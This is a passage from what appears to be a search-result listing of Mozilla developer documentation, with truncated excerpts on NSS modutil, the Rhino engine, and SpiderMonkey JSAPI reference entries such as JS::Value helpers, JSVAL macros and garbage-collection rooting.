javascript; a fast, lightweight, non-thread-safe (though 'free-threaded') implementation. Experience shows that users of the security library expect arenas to be threadsafe, so we added locking, and other useful changes. There has always been confusion as to the difference between Arenas and ArenaPools. We will simplify down to one logical 'memory bucket' type. Consensus called this type NSSArena. We h...
NSS tools : modutil
w-password-file] modutil -dbdir sql:/home/my/sharednssdb -changepw "NSS Certificate DB" Enter old password: Incorrect password, try again... Enter old password: Enter new password: Re-enter new password: Token "Communicator Certificate DB" password changed successfully. JAR Installation File Format When a JAR file is run by a server, by modutil, or by any program that does not interpret
JavaScript, a special information file must be included to install the libraries. There are several things to keep in mind with this file: o It must be declared in the JAR archive's manifest file. o The script can have any name. o The metainfo tag for this is Pkcs11_install_script. To declare meta-information in the manifest file, put it in a file that is passed to signtool. Sample Script For examp...
NSS tools : modutil
ord-file] modutil -dbdir sql:/home/my/sharednssdb -changepw "NSS Certificate DB" Enter old password: Incorrect password, try again... Enter old password: Enter new password: Re-enter new password: Token "Communicator Certificate DB" password changed successfully. JAR Installation File Format When a JAR file is run by a server, by modutil, or by any program that does not interpret
JavaScript, a special information file must be included to install the libraries. There are several things to keep in mind with this file: o It must be declared in the JAR archive's manifest file. o The script can have any name. o The metainfo tag for this is Pkcs11_install_script. To declare meta-information in the manifest file, put it in a file that is passed to sign...
Network Security Services
sider the trust bit setting for each included root certificate. More Information, Extracting roots and their trust bits NSS is built on top of Netscape Portable Runtime (NSPR) Netscape Portable Runtime NSPR project page. NSPR Reference NSPR API documentation. ...
Rhino and BSF
y IBM and now published as open source as a project at the Apache Software Foundation. It provides a framework for using a number of scripting languages with Java. Rhino is one of the supported languages. This framework has been embedded in a number of open source projects, including the XSL processor Xalan and the XML/Java build tool Ant. See Xalan-Java Extensions for more information on adding
JavaScript to XSL and the description of the optional Script task in the Apache Ant Manual for using scripting in Ant build files. Using BSF with Rhino Now that the Apache Jakarta Bean Scripting Framework (BSF), version 2.4.0, has been officially released, you can use Rhino easily with BSF. See http://commons.apache.org/proper/commons-bsf/index.html. ...
Rhino community
? Here are some additional resources for help: Mailing List Rhino discussions happen on the mozilla-rhino group on Google Groups. There is a much older group, mozilla.dev.tech.js-engine.rhino, that is no longer actively used. Please use the new group instead, but the old one may be of historical interest. The mozilla.dev.tech.js-engine newsgroup answers questions about the C implementation of
JavaScript, and was also used for answering questions about Rhino until September 27, 2007. To view archived messages earlier than September 27, 2007, try Google group for the earlier newsgroup. Bug System The best way to enter Rhino bugs to enter an issue in GitHub. If you have the inclination to fix it, you are also encouraged to fix it and submit a pull request. Many older Rhino issues were logged i...
Rhino optimization
use this optimization level if your code uses Continuation objects. If the optimization package is not available, then optimization acts as if it is always -1. 0 No optimizations are performed. The bytecode compiler runs fastest in this mode, but the generated byte code is less efficient. 1-9 All optimizations are performed. Simple data and type flow analysis is performed to determine which
JavaScript variables can be allocated to Java VM registers, and which variables are used only as Numbers. Local common sub-expressions are collapsed (currently this only happens for property lookup, but in the future more expressions may be optimized). All local variables and parameters are allocated to Java VM registers. Function call targets are speculatively pre-cached (based on the name used in the sour...
Performance Hints
nyway (what if you called another function that had a loop like the one in sum!). Arrays Use the forms of the Array constructor that specify a size or take a list of initial elements. For example, the code var a = new Array(); for (var i=0; i < n; i++) a[i] = i; could be sped up by changing the constructor call to new Array(n). A constructor call like that indicates to the runtime that a
JavaScript array should be used for the first n entries of the array. Similarly, new Array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the
JavaScript array. eval and new Function Avoid calling eval when possible. Calls to eval are slow because the script being executed must be compiled. Constructing a new function object can be slow for th...
Rhino requirements and limitations
class loaders. Limitations LiveConnect If a JavaObject's field's name collides with that of a method, the value of that field is retrieved lazily, and can be counter-intuitively affected by later assignments: javaObj.fieldAndMethod = 5; var field = javaObj.fieldAndMethod; javaObj.fieldAndMethod = 7; // now, field == 7 You can work around this by forcing the field value to be converted to a
JavaScript type when you take its value: javaObj.fieldAndMethod = 5; var field = javaObj.fieldAndMethod + 0; // force conversion now javaObj.fieldAndMethod = 7; // now, field == 5 JSObject Rhino does NOT support the netscape.
javascript.JSObject class. ...
Rhino
It is typically embedded into Java applications to provide scripting to end users. It is embedded in J2SE 6 as the default Java scripting engine. Rhino downloads How to get source and binaries. Rhino documentation Information on Rhino for script writers and embedders. ...
Functions
There are four variations that affect how NameExpressions are evaluated. (NameExpressions are basic expressions like String and x that would eat up a huge amount of run time if the engine weren't smart enough to avoid symbol table lookups.) General closures are the base case. When the function object is created, its parent is set to the first object on the scope chain. ...
Exact Stack Rooting
c analysis to fail if these are detected. Storing a js::HandleT on the heap. It is very easy for the handle to outlive its root if you do this. Again, there are annotations with MOZ_STACK_CLASS. Returning a js::HandleT from a function. If you do this, a handle may outlive its root. Definitions GC - Acronym for Garbage Collection: specifically SpiderMonkey's method of automatically managing
JavaScript program memory. GCThing - Storage allocated by SpiderMonkey's allocator. GCPointer - A raw pointer type or tagged pointer type that may refer to a GCThing (JSObject *, JSString *, Value, jsid, etc.) GCHeap - The graph of GCThings allocated by SpiderMonkey's allocator. The goal of SpiderMonkey's GC is to partition this heap into regions reachable from the RootSet and not. Root - A GCPointer he...
Garbage collection
: the information here is about the implementation of GC roots and their use within SpiderMonkey. For information on how the rooting APIs should be used by embedders, read: GC Rooting Guide. This information has been split out into a separate article: Exact Stack Rooting. Marking TODO Incremental marking Incremental marking means being able to do a bit of marking work, then let the mutator (
JavaScript program) run a bit, then do another bit of marking work. Thus, instead of one long pause for marking, the GC does a series of short pauses. The pauses can be set to be 10ms or less. There is always a possibility that a long pause will be required. If the allocation rate is high during incremental GC, the engine may run out of memory before finishing the incremental GC. If so, the engine must imm...
Invariants
the fastest, followed by JSOP_{GET,CALL}UPVAR, JSOP_{GET,CALL}DSLOT, JSOP_{GET,CALL,SET}GVAR, and lastly JSOP_{,CALL,SET}NAME. If it cannot be statically proven that a name always refers to a specific variable (meaning either a parameter or a variable introduced by var/let/function/const) in the program, then a NAME op must be emitted. (It would result in a bug where the wrong variable is used.
JavaScript is only mostly lexically scoped. Some NameExpressions might refer to a variable or global; or might at runtime turn out to reference another object property, due to with, or a variable that isn't in the source code at all but was injected into a local scope by eval. These cases can be detected statically by looking for with and eval "nearby" in the parse tree.) If a nested function contains a Na...
JIT Optimization Strategies
Call Call_Inline A function call f(x) usually pushes a frame onto the call stack. Inlining a call site conceptually copies the body of the callee function and pastes it in place of the call site and avoids pushing a new execution frame. Usually, hot functions do well to be inlined. This is one of the most important optimizations the JIT performs. Ion inlines both interpreted (i.e., written in
JavaScript) functions and native (i.e., built-ins such as Math.sin implemented in C++). A successfully inlined call site has the outcome Inlined. Failure to inline comes in two flavors: unable (e.g., unable to determine exact callee) and unwilling (e.g., heuristics concluded that the time-space tradeoff will not pay off). ...
INT_FITS_IN_JSVAL
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determines if a specified C integer is safe to pass to INT_TO_JSVAL. Syntax #define INT_FITS_IN_JSVAL(i) /* ... */ Name Type Description i jsint The C integer value to check. Description Determines if a specified C integer value, i, lies within the range allowed for integer jsvals. If so, INT_FITS_IN_JSVAL returns TRUE, and i can be cast to jsval by calling INT_TO_JSVAL(i). Otherwise, INT_FITS_IN_JSVAL returns FALSE. In this case, the application can still convert i to a jsval using JS_NewNumberValue. ...
JS::Add*Root
able. That could cause sporadic crashes during garbage collection, which can be hard to debug.) The variable must remain in memory until the balancing call to JS::Remove*Root. Note that this means that if the root is meant to live past the end of a function, the address of a local (stack-based) variable may not be used for vp/rp. If JS::Add*Root succeeds, then as long as this variable points to a
JavaScript value or pointer to GC-thing, that value/GC-thing is protected from garbage collection. If the variable points to an object, then any memory reachable from its properties is automatically protected from garbage collection, too. An entry for rp is added to the garbage collector's root set for the JSRuntime associated with cx (or, in JS::AddNamedValueRootRT, the runtime rt). The name parameter, if...
JS::BooleanValue
This article covers features introduced in SpiderMonkey 24 Convert a C boolean of type bool to a JS::Value. Syntax JS::Value JS::BooleanValue(bool boo) Name Type Description boo bool C bool to convert. Description JS::BooleanValue converts a C boolean of type bool to JS::Value, the type of
JavaScript values. See Also MXR ID Search for JS::BooleanValue JS::Value JS::TrueValue JS::FalseValue ...
JS::CloneFunctionObject
f funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object. The new object's prototype is Function.prototype; JS_NewObject : Choosing a Default Prototype explains exactly how this is computed. JS::CloneFunctionObject takes care to choose a prototype that shares a global object with the given parent whenever possible. funobj must be a pointer to a
JavaScript function object (see JS_ObjectIsFunction). On success, JS::CloneFunctionObject returns a pointer to the newly created object. If the class of funobj is not Function, then JS::CloneFunctionObject returns funobj itself. On failure, it returns NULL. See Also MXR ID Search for JS::CloneFunctionObject bug 1088228 bug 1089026 ...
JS::CompileFunction
This article covers features introduced in SpiderMonkey 17 Create a
JavaScript function from a text string. Syntax bool JS::CompileFunction(JSContext *cx, JS::AutoObjectVector &scopeChain, const JS::ReadOnlyCompileOptions &options, const char *name, unsigned nargs, const char *const *argnames, const char16_t *chars, size_t length, JS::MutableHandleFunction fun); bool JS::CompileFunction(JSContext *cx, JS::AutoObjectVector &scopeChain, const JS::ReadOnlyCompileOptions &options, const char *name, unsigned nargs, const char *const *argnames, JS::SourceBufferHolder &srcBuf, JS::MutableHandleFunction fun); bool JS::CompileFunction(JSContext *cx, JS::AutoObjectVector &scope...
JS::CurrentGlobalOrNull
ion cx JSContext * The context for which to return the global object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. Description JS::CurrentGlobalOrNull() returns the global object for whatever function is currently running on the context. In other words, it returns the global object on the current scope chain. If there is no
JavaScript running on the context, this returns the context's global, i.e., JS_GetGlobalObject(cx). Note that JS_GetGlobalObject() and context globals are becoming obsolete. See also MXR ID Search for JS::CurrentGlobalOrNull JS_GetGlobalForObject bug 899245 ...
JS::DoubleValue
This article covers features introduced in SpiderMonkey 24 Convert a C floating-point number of type double to a JS::Value. Syntax JS::Value JS::DoubleValue(double dbl) Name Type Description dbl double C double to convert. Description JS::DoubleValue converts a C floating-point number of type double to JS::Value, the type of
JavaScript values. The result is an floating-point JS::Value. See Also MXR ID Search for JS::DoubleValue JS::Value JS::Int32Value JS::Float32Value JS::NumberValue JS_NumberValue ...
JS::FalseValue
This article covers features introduced in SpiderMonkey 24 Create a JS::Value that represents the
JavaScript value false. Syntax JS::Value JS::FalseValue() Description JS::FalseValue creates a JS::Value that represents the
JavaScript value false. See Also MXR ID Search for JS::FalseValue JS::Value JS::BooleanValue JS::TrueValue ...
JS::Float32Value
This article covers features introduced in SpiderMonkey 24 Convert a C floating-point number of type float to a JS::Value. Syntax JS::Value JS::Float32Value(float f) Name Type Description f float C float to convert. Description JS::Float32Value converts a C floating-point number of type float to JS::Value, the type of
JavaScript values. The result is an floating-point JS::Value. See Also MXR ID Search for JS::Float32Value JS::Value JS::Int32Value JS::DoubleValue JS::NumberValue JS_NumberValue ...
JS::Int32Value
This article covers features introduced in SpiderMonkey 24 Convert a C signed 32-bit integer of type int32_t to a JS::Value. Syntax JS::Value JS::Int32Value(int32_t i32) Name Type Description i32 int32_t C integer to convert. Description JS::Int32Value converts a C signed 32-bit integer of type int32_t to JS::Value, the type of
JavaScript values. The result is an integer JS::Value. See Also MXR ID Search for JS::Int32Value JS::Value JS::Float32Value JS::DoubleValue JS::NumberValue JS_NumberValue ...
JS::NullHandleValue
This article covers features introduced in SpiderMonkey 24 The JS::Value that represents the
JavaScript value null. Syntax const JS::HandleValue JS::NullHandleValue; Description JS::NullHandleValue is a JS::HandleValue constant that represents the
JavaScript value null. See Also MXR ID Search for JS::NullHandleValue JS::UndefinedHandleValue JS::TrueHandleValue JS::FalseHandleValue bug 865969 ...
JS::NullValue
This article covers features introduced in SpiderMonkey 24 Create a JS::Value that represents the
JavaScript value null. Syntax JS::Value JS::NullValue(); Description JS::NullValue creates a JS::Value that represents the
JavaScript value null. See Also MXR ID Search for JS::NullValue JS::Value JS::NullHandleValue ...
JS::NumberValue
See Also MXR ID Search for JS::NumberValue JS::Value JS::Int32Value JS::Float32Value JS::DoubleValue JS_NumberValue ...
JS::ObjectOrNullValue
This article covers features introduced in SpiderMonkey 24 Convert a JSObject or null pointer to a JS::Value. Syntax JS::Value JS::ObjectOrNullValue(JSObject* obj) Name Type Description str JSObject* A pointer to a JSObject or null to convert. Description JS::ObjectValue converts a given JSObject to JS::Value. If the pointer is null, it returns
JavaScript null. The conversion always succeeds. See Also MXR ID Search for JS::ObjectOrNullValue JS::Value JS::ObjectValue ...
JS::OrdinaryToPrimitive
which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject The object to convert. type JSType The type of converted value. vp JS::MutableHandleValue Out parameter. On success, *vp receives the converted value. Description JS::OrdinaryToPrimitive converts a
JavaScript object to a specified type value, by the algorithm specified in ES6 draft rev 28 (2014 Oct 14) 7.1.1, second algorithm. Most users should not call this -- use JS::ToNumber, JS::ToBoolean, or JS::ToString instead. This should only be called from custom convert hooks. It implements the default conversion behavior shared by most objects in JS, so it's useful as a fallback. On success, JS::Ordinary...
JS::ToBoolean
This article covers features introduced in SpiderMonkey 17 Convert any
JavaScript value to a boolean. Syntax bool JS::ToBoolean(JS::HandleValue v) Name Type Description v JS::HandleValue The value to convert. Description JS::ToBoolean converts a
JavaScript value to a boolean. It implements the ToBoolean operation described in ECMA 262 ?7.1.2.This function can not fail and the return value is always the boolean conversion of the argument. MXR ID Search for JS::ToBoolean bug 749536 ...
JS::ToInt64
This article covers features introduced in SpiderMonkey 17 Convert any
JavaScript value to a signed 64bit integer. Syntax bool JS::ToInt64(JSContext *cx, JS::HandleValue v, int64_t *out); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out int64_t * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToInt64 converts a
JavaScript value to a signed 64bit integer. On success, JS::ToInt64 stores the converted value in *out and returns true. On error or exception, it returns false, and the value left in *out is u...
JS::ToUint16
This article covers features introduced in SpiderMonkey 17 Convert any
JavaScript value to an unsigned 16bit integer. Syntax bool JS::ToUint16(JSContext *cx, JS::HandleValue v, uint16_t *out); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out uint16_t * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToInt16 converts a
JavaScript value to an unsigned 16bit integer. It implements the ToInt16 operator described in ECMA 262-3 ?9.7. On success, JS::ToInt16 stores the converted value in *out and returns true...
JS::ToUint32
This article covers features introduced in SpiderMonkey 17 Convert any
JavaScript value to an unsigned 32bit integer. Syntax bool JS::ToUint32(JSContext *cx, JS::HandleValue v, int32_t *out); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out int32_t * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToUint32 converts a
JavaScript value to an unsigned 32bit integer. It implements the ToUint32 operator described in ECMA 262-3 ?9.5. On success, JS::ToUint32 stores the converted value in *out and returns tru...
JS::ToUint64
This article covers features introduced in SpiderMonkey 17 Convert any
JavaScript value to an unsigned 64bit integer. Syntax bool JS::ToUint64(JSContext *cx, JS::HandleValue v, uint64_t *out); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out uint64_t * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToInt64 converts a
JavaScript value to an unsigned 64bit integer. On success, JS::ToInt64 stores the converted value in *out and returns true. On error or exception, it returns false, and the value left in ...
JS::TrueHandleValue
This article covers features introduced in SpiderMonkey 38 The JS::Value that represents the
JavaScript value true. Syntax const JS::HandleValue JS::TrueHandleValue; const JS::HandleValue JS::FalseHandleValue; Description JS::TrueHandleValue and JS::FalseHandleValue are JS::HandleValue constants that represent the
JavaScript values true and false. See Also MXR ID Search for JS::TrueHandleValue MXR ID Search for JS::FalseHandleValue JS::NullHandleValue JS::UndefinedHandleValue bug 959787 ...
JS::TrueValue
This article covers features introduced in SpiderMonkey 24 Create a JS::Value that represents the
JavaScript value true. Syntax JS::Value JS::TrueValue() Description JS::TrueValue creates a JS::Value that represents the
JavaScript value true. See Also MXR ID Search for JS::TrueValue JS::Value JS::BooleanValue JS::FalseValue ...
JS::UndefinedHandleValue
This article covers features introduced in SpiderMonkey 24 The JS::Value that represents the
JavaScript value undefined. Syntax const JS::HandleValue JS::UndefinedHandleValue; Description JS::UndefinedHandleValue is a JS::HandleValue constant that represents the
JavaScript value undefined. See Also MXR ID Search for JS::UndefinedHandleValue JS::NullHandleValue JS::TrueHandleValue JS::FalseHandleValue bug 865969 ...
JS::UndefinedValue
This article covers features introduced in SpiderMonkey 24 Create a JS::Value that represents the
JavaScript value undefined. Syntax JS::Value JS::UndefinedValue(); Description JS::UndefinedValue creates a JS::Value that represents the
JavaScript value undefined. See Also MXR ID Search for JS::UndefinedValue JS::Value JS::UndefinedHandleValue ...
JS::Value
JS::Value is a class whose internal structure is an implementation detail. Embeddings should not rely on observed representation details or upon the size of JS::Value. ...
JSClass.flags
rrectly implements GC read and write barriers. JSCLASS_NEW_ENUMERATE Obsolete since JSAPI 37 This class's enumerate hook is actually a JSNewEnumerateOp, not a JSEnumerateOp. JSCLASS_NEW_RESOLVE Obsolete since JSAPI 36 This class's resolve hook is actually a JSNewResolveOp, not a JSResolveOp. JSCLASS_SHARE_ALL_PROPERTIES Obsolete since
JavaScript 1.8.5 Instructs SpiderMonkey to automatically give all properties of objects of this class the JSPROP_SHARED attribute. JSCLASS_NEW_RESOLVE_GETS_START Obsolete since JSAPI 16 The resolve hook expects to receive the starting object in the prototype chain passed in via the *objp in/out parameter. (This is meaningful only if the JSCLASS_NEW_RESOLVE flag is also set.) ...
JSDeletePropertyOp
features introduced in SpiderMonkey 24 The type of the JSClass.delProperty. Syntax typedef bool (* JSDeletePropertyOp)(JSContext *cx, JS::HandleObject obj, JS::HandleId id, bool *succeeded); Name Type Description cx JSContext * The context in which the property access is taking place. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). obj JS::HandleObject The object whose properties are being deleted. id JS::HandleId The name or index of the property being deleted. This is either a string (Unicode property identifier) or an integer (element index). succeeded ...
JSEnumerateOp
JS::HandleObject Pointer to the object to be enumerated. Description JSEnumerateOp is called just before an object is enumerated (via a for...in statement, an array comprehension, or a call to JS_Enumerate). It should define any remaining lazy properties that should be enumerable but are not yet defined in obj. This hook does not implement iteration: once the properties are defined, the
JavaScript engine can enumerate them. JSClass hooks JSClass offers following hook: The JSClass.enumerate hook is for classes that implement lazy properties using JSClass.resolve. See Also MXR ID Search for JSEnumerateOp JSNewEnumerateOp JSClass ...
JSErrorReport
The logical OR of zero or more of the following flags: JSREPORT_WARNING This "error" is really only a warning. It will not cause the current operation to fail. JSREPORT_EXCEPTION An exception is being raised. A JSErrorReporter might choose to ignore a JSErrorReport that has this flag set, since the exception may be caught and handled by
JavaScript code. JSREPORT_STRICT This error is only being reported because the engine is in strict mode. JSREPORT_STRICT_MODE_ERROR This condition is an error in strict mode code, a warning if JS_HAS_STRICT_OPTION(cx), and otherwise should not be reported at all. We check the strictness of the context's top frame's script; where that isn't appropriate, the cal...
JSObjectOps.getRequiredSlot
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Warning! JSObjectOps is not a supported API. Details of the API may change from one release to the next. This documentation should be considered SpiderMonkey internals documentation, not API documentation. See bug 408416 for details. The JSObjectOps.getRequiredSlot and setRequiredSlot callbacks get and set a required slot--one that should already have been allocated. ...
JSObjectOps.lookupProperty
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Warning! JSObjectOps is not a supported API. Details of the API may change from one release to the next. This documentation should be considered SpiderMonkey internals documentation, not API documentation. See bug 408416 for details. The JSObjectOps.lookupProperty callback is called for every property access (except when a higher-level callback, such as JSObjectOps.getProperty, is overloaded in a way that does not call lookupProperty). ...
JSObjectOps.newObjectMap
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Warning! JSObjectOps is not a supported API. Details of the API may change from one release to the next. This documentation should be considered SpiderMonkey internals documentation, not API documentation. See bug 408416 for details. The JSObjectOps.newObjectMap callback is called whenever a new object is created. It creates a JSObjectMap that completely controls the new object's behavior. ...
JSObjectOps.setProto
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Warning! JSObjectOps is not a supported API. Details of the API may change from one release to the next. This documentation should be considered SpiderMonkey internals documentation, not API documentation. See bug 408416 for details. The JSObjectOps.setProto and setParent callbacks implement the JS_SetPrototype and JS_SetParent functions. These callbacks share the same type, JSSetObjectSlotOp. ...
JSPrincipalsTranscoder
principalsp); Name Type Description xdr JSXDRState * The XDR reader/writer. principalsp JSPrincipals ** If xdr->mode == JSXDR_DECODE, this is an out parameter: on success, *principalsp receives the deserialized principals. Otherwise xdr->mode == JSXDR_ENCODE, and *principalsp points to the JSPrincipals object to be serialized. Description The
JavaScript engine uses this callback to serialize and deserialize principals. Each script function is associated with principals, which poses a problem for XDR. The application provides the JSPrincipals objects, so it must also provide a JSPrincipalsTranscoder if it intends to serialize or deserialize principals. The callback XDR-encodes or -decodes a principals instance, based on whether xdr->mode is JSX...
JSProperty
Syntax struct JSProperty { jsid id; }; Description JSProperty is the abstract base class of all object properties. It is used internally in JSObjectOps.lookupProperty, getAttributes, setAttributes, and dropProperty. ...
JSReserveSlotsOp
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. JSReserveSlotsOp is the type of the JSClass.reserveSlots. Syntax typedef uint32 (* JSReserveSlotsOp)(JSContext *cx, JSObject *obj); Name Type Description cx JSContext * The JS context in which the new object is being created. obj JSObject * The new object. Description Warning: JSAPI applications should not use this hook. A class cannot freely use a reserveSlots hook to reserve a different number of slots for each object. ...
JSRuntime
The JSContext is a child of the JSRuntime. A context can run scripts. It contains the global object and the execution stack. Exception handling, error reporting, and some language options are per-JSContext. Once created, a context can be used any number of times for different scripts or JSAPI queries. ...
JSScript
JSScript is a type in the JSAPI. TODO: documentation on this gigantic class. For now, I'll just say that this class represents a section of compiled
JavaScript code, and the functions to create, run, and analyize it. See Also UXP source JSScript.h UXP source JSScript.cpp ...
JSString
You should not rely on the structure of JSString, because it is subject to change; instead, treat JSString objects as opaque. To get the length of a JSString you can use JS_GetStringLength. ...
JSType
JSTYPE_FUNCTION Functions. JSTYPE_STRING Strings. JSTYPE_NUMBER Numbers. JSTYPE_BOOLEAN Boolean values, true and false. JSTYPE_NULL The null value. JSTYPE_SYMBOL Symbols. ...
JSVAL_IS_BOOLEAN
Obsolete since JSAPI 32This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determines if a given jsval is a
JavaScript boolean. Syntax JSVAL_IS_BOOLEAN(v) Description JSVAL_IS_BOOLEAN(v) is true if the given
JavaScript value, v, is a boolean value (that is, it is either JSVAL_TRUE or JSVAL_FALSE). To convert between
JavaScript boolean values (jsval) and C boolean values, use JSVAL_TO_BOOLEAN and BOOLEAN_TO_JSVAL. See Also bug 952650 ...
JSVAL_IS_DOUBLE
e it could be removed at any time. Try to avoid using it. Determines if a given jsval is a number represented as a jsdouble. Syntax JSVAL_IS_DOUBLE(v) Description JSVAL_IS_DOUBLE(v) is true if v is a number represented in memory as a jsdouble. To check whether v is a number, regardless of implementation details, use JSVAL_IS_NUMBER instead. Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it is a JS double data type. if (JSVAL_IS_DOUBLE(MyItem)) { . . . } See Also bug 952650 ...
JSVAL_IS_GCTHING
eature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Indicates whether a JS value has a type that is subject to garbage collection. Syntax JSVAL_IS_GCTHING(v) Description JSVAL_IS_GCTHING(v) is true if the jsval v is either JSVAL_NULL or a reference to a value that is subject to garbage collection.
JavaScript performs automatic garbage collection of objects, strings, and doubles. This macro exposes
JavaScript engine implementation details and usually isn't what the application really means. See jsval for alternatives. See Also bug 952650 ...
JSVAL_IS_INT
Obsolete since JSAPI 32This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determine if a given jsval is a
JavaScript number represented in memory as an integer. Syntax JSVAL_IS_INT(v) Description JSVAL_IS_INT(v) is true if the jsval v is a number represented in memory as an integer. To test whether a value is a number, regardless of how it is represented in memory, use JSVAL_IS_NUMBER instead. To convert between C integer types and jsval, use JSVAL_TO_INT, INT_FITS_IN_JSVAL, and INT_TO_JSVAL. Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it is a JS integer data type. if (JSVAL_IS_INT(MyItem)) { . . ...
JSVAL_IS_NULL
Determine if a given jsval is null. Syntax JSVAL_IS_NULL(v) Description JSVAL_IS_NULL(v) is true if v is JSVAL_NULL, which is the
JavaScript null value. (Note: JSVAL_IS_OBJECT(JSVAL_NULL) is also true.) Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it contains a null value. if (JSVAL_IS_NULL(MyItem)) { ... } See Also bug 952650 ...
JSVAL_IS_NUMBER
Obsolete since JSAPI 32This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determine if a given jsval is a
JavaScript number. Syntax JSVAL_IS_NUMBER(v) Description JSVAL_IS_NUMBER(v) is true if v is a
JavaScript number. To convert a numeric jsval to a C floating-point number, use JS_ValueToNumber. Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it is a JS integer or double value. if (JSVAL_IS_NUMBER(MyItem)) { ... } See Also bug 952650 ...
JSVAL_IS_STRING
still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determines if a given jsval is a string. Syntax JSVAL_IS_STRING(v) Description JSVAL_IS_STRING(v) is true if v is a string. To access the content of a string jsval, use JSVAL_TO_STRING, JS_GetStringChars, and JS_GetStringLength. Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it is a string. if (JSVAL_IS_STRING(MyItem)) { ... } See Also bug 952650 ...
JSVAL_IS_VOID
Obsolete since JSAPI 32This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determines if a given jsval is the
JavaScript value undefined. Syntax JSVAL_IS_VOID(v) Description JSVAL_IS_VOID(v) is true if v is JSVAL_VOID, which represents the
JavaScript value undefined. Example The following code snippet illustrates how a
JavaScript variable, MyItem, is conditionally tested in an if statement to see if it is void. if (JSVAL_IS_VOID(MyItem)) { ... } See Also bug 952650 ...
JSVAL_NULL
Obsolete since JSAPI 42This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. The jsval that represents the
JavaScript value null. Syntax JSVAL_NULL Description JSVAL_NULL is a jsval constant that represents the
JavaScript value null. It is equivalent to OBJECT_TO_JSVAL(NULL). See Also MXR ID Search for JSVAL_NULL JSVAL_VOID JSVAL_TRUE JSVAL_FALSE JSVAL_ZERO JSVAL_ONE bug 1177825 -- removed ...
JSVAL_ONE
Obsolete since JSAPI 42This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. The jsval that represents the
JavaScript number 1. Syntax JSVAL_ONE Description JSVAL_ONE is equivalent to INT_TO_JSVAL(1). See also MXR ID Search for JSVAL_ONE INT_TO_JSVAL JS_NewContext JSVAL_NULL JSVAL_VOID JSVAL_TRUE JSVAL_FALSE JSVAL_ZERO bug 1177825 -- removed ...
JSVAL_TO_BOOLEAN
Syntax JSBool JSVAL_TO_BOOLEAN(jsval v); Description JSVAL_TO_BOOLEAN casts the value v to a C integer, either 0 or 1. As a precondition, JSVAL_IS_BOOLEAN(v) must be true. That is, v must be either JSVAL_TRUE or JSVAL_FALSE. Otherwise the behavior is undefined. ...
JSVAL_VOID
Obsolete since JSAPI 42This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. The jsval that represents the
JavaScript value undefined. Syntax JSVAL_VOID Description JSVAL_VOID is a jsval constant that represents the
JavaScript value undefined. See Also MXR ID Search for JSVAL_VOID JSVAL_NULL JSVAL_TRUE JSVAL_FALSE JSVAL_ZERO JSVAL_ONE bug 1177825 -- removed ...
JSVAL_ZERO
Obsolete since JSAPI 42This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. The jsval that represents the
JavaScript number 0. Syntax JSVAL_ZERO Description JSVAL_ZERO is equivalent to INT_TO_JSVAL(0). See also MXR ID Search for JSVAL_ZERO INT_TO_JSVAL JS_NewContext JSVAL_NULL JSVAL_VOID JSVAL_TRUE JSVAL_FALSE JSVAL_ONE bug 1177825 -- removed ...
JS_Add*Root
l variable. That could cause sporadic crashes during garbage collection, which can be hard to debug.) The variable must remain in memory until the balancing call to JS_RemoveRoot. Note that this means that if the root is meant to live past the end of a function, the address of a local (stack-based) variable may not be used for rp. If JS_Add*Root succeeds, then as long as this variable points to a
JavaScript value or pointer to GC-thing, that value/GC-thing is protected from garbage collection. If the variable points to an object, then any memory reachable from its properties is automatically protected from garbage collection, too. JS_AddGCThingRoot allows the caller to have a single root that may hold either strings or objects. A jsval is not a GC-thing (it has tag bits and may be a different size...
JS_BufferIsCompilableUnit
